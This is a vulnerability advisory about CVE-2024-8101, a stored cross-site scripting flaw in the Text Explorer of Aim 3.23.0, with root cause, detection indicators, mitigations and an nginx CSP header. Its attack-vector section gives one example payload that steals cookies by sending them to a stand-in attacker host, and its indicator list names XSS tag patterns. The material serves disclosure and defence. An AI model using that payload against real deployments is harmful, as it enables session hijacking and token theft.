CVE-2024-8101 Overview
CVE-2024-8101 is a stored cross-site scripting (XSS) vulnerability in the Text Explorer component of aimhubio/aim version 3.23.0. The flaw stems from the use of React's dangerouslySetInnerHTML without sanitization when rendering tracked text values. Attackers can inject malicious HTML or JavaScript payloads during the machine learning training process. When a user later views the tracked text in the Text Explorer, the browser executes the injected script in the victim's session context. This weakness is classified under CWE-79: Improper Neutralization of Input During Web Page Generation.
Critical Impact
Attackers can execute arbitrary JavaScript in the browser of any user viewing malicious tracked text, enabling session theft, UI manipulation, and pivoting into the Aim experiment tracking environment.
Affected Products
- Aimstack Aim version 3.23.0
- Text Explorer component of the Aim web UI
- Aim experiment tracking deployments rendering tracked text values
Discovery Timeline
- 2025-03-20 - CVE-2024-8101 published to NVD
- 2026-06-17 - Last updated in NVD database
Technical Details for CVE-2024-8101
Vulnerability Analysis
Aim is an open-source experiment tracker used to log metrics, parameters, and text artifacts from machine learning training runs. The Text Explorer view renders tracked text logged via the Aim SDK during model training. In version 3.23.0, the React component responsible for rendering these values passes the raw text into dangerouslySetInnerHTML. React deliberately names this API to warn developers that content is rendered as raw HTML rather than escaped text. Because Aim performs no sanitization before assignment, any HTML markup embedded in a tracked text field is parsed and executed by the browser. The vulnerability is stored, meaning the payload persists in the experiment database and fires each time a user opens the affected run.
Root Cause
The root cause is the direct binding of untrusted input to dangerouslySetInnerHTML without an HTML sanitization pass such as DOMPurify. Aim treats logged text as trusted content, but text values originate from training scripts and user-controlled data sources. Missing output encoding on server-side rendering compounds the issue by allowing attacker-supplied <script> tags and event handler attributes to survive to the DOM.
Attack Vector
Exploitation requires an attacker to influence text logged during a training run and a victim to open that run in the Text Explorer. An attacker with write access to a training pipeline can call aim.Text("<img src=x onerror=fetch('https://attacker.example/'+document.cookie)>") and commit the run. When a data scientist opens the Text Explorer for that experiment, the payload executes with the origin of the Aim UI. This enables session hijacking, cross-user experiment tampering, and exfiltration of API tokens stored in the Aim frontend.
No verified public proof-of-concept code is available. Additional technical detail is published in the Huntr bounty listing.
Detection Methods for CVE-2024-8101
Indicators of Compromise
- Tracked text entries containing HTML tags such as <script>, <img onerror=...>, <iframe>, or <svg onload=...> stored in Aim run data.
- Outbound HTTP requests from analyst browsers to unexpected domains immediately after opening an Aim Text Explorer view.
- Unexpected DOM modifications, cookie access, or localStorage reads originating from the Aim web UI origin.
Detection Strategies
- Scan Aim experiment storage for tracked text values containing HTML control characters or JavaScript event handler attributes.
- Deploy Content Security Policy (CSP) reporting on the Aim origin to surface inline script execution attempts.
- Review browser telemetry and proxy logs for anomalous requests originating from sessions viewing shared experiment runs.
Monitoring Recommendations
- Alert on Aim UI sessions that trigger network calls to domains outside the organization's allowlist.
- Monitor training pipelines and CI systems for commits that log text artifacts containing HTML or script fragments.
- Track access patterns to shared Aim projects and correlate viewer activity with subsequent credential misuse.
How to Mitigate CVE-2024-8101
Immediate Actions Required
- Restrict network access to Aim deployments so only authenticated, trusted users can browse experiment runs.
- Audit existing tracked text records in Aim version 3.23.0 for HTML or script content and purge suspect entries.
- Rotate any credentials or API tokens that may have been exposed to browsers rendering untrusted experiment data.
Patch Information
No vendor advisory or fixed version is listed in the NVD entry at time of publication. Monitor the aimhubio/aim repository and the Huntr bounty listing for a patched release beyond 3.23.0 and upgrade once available.
Workarounds
- Avoid logging untrusted or user-controlled strings through the Aim Text tracking API until a fixed version is deployed.
- Place the Aim UI behind a reverse proxy that injects a strict Content Security Policy disallowing inline scripts and untrusted origins.
- Limit write access to Aim experiment repositories to vetted training accounts and disable shared multi-tenant use of the affected version.
# Example nginx CSP header to reduce XSS blast radius on the Aim UI
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'" always;
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
